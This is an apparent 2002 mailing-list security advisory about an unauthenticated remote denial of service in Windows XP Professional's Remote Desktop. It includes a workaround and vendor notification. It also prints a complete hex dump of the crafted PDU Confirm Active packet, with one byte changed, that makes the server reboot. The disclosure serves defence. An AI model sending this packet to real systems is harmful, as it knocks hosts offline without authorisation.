OSEC

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From: Ben Cohen (bc_at_skygate.co.uk)
Date: Mon Sep 16 2002 - 03:50:45 CDT

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    Vulnerable

    Microsoft Windows XP Professional
    Microsoft Windows .NET Standard Server Beta 3

    Non-vulnerable

    Microsoft Windows 2000 Server

    Background

    Windows XP Professional has a remote denial of service attack when Remote
    Desktop is enabled. Remote Desktop is XP Professional's single-user RDP
    server (Terminal Services).

    Discussion

    At the start of the protocol there is a negotiation of client and server
    graphics capabilities, in a packet called PDU Confirm Active. A block of
    32 bytes in this packet allows the client to disable the drawing commands
    that it does not support.

    One of these apparently controls whether the Pattern BLT command is sent.
    On Windows 2000 Server, disabling this command will make the server send
    bitmaps instead of Pattern BLT commands. However, Windows XP Professional
    apparently reboots when it tries to render patterns; since this happens
    while the login screen is being drawn, this does not require the client to
    have logged on or authenticated to the server. This applies to all
    versions of the protocol tested (RDP 4.0, 5.0 and 5.1), and it is also
    reproducible with Windows .NET Standard Server Beta 3.

    Workaround

    Disable Remote Desktop (from Control Panel, System, Remote, Remote
    Desktop, deselect the option "Allow users to connect remotely to this
    computer").

    Exploit

    Shown below is the unencrypted packet contents for the problematic PDU
    Confirm Active packet. The only change is from 01 to 00 on the line
    indicated.

    c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01
    4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00
    03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00
    00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05
    00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00
    58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00
    2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 <- was "2a 00 01 01"
    00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00
    00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00
    00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00
    00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00
    08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00
    00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00
    0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00
    0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00
    00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00
    0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00
    fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00
    fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01
    40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00
    01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00
    14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00
    00 0a 00 01

    References

    Section 8.2.5 from T.128 Multipoint application sharing, Series T: Terminals
    for telematic services, ITU-T.

    Microsoft was notified on 16 April 2002.

    Credits

    Ben Cohen
    ben.cohenskygate.co.uk

    Skygate Technology Ltd.
    http://www.skygate.co.uk/
    +44 (0)20 8542 7856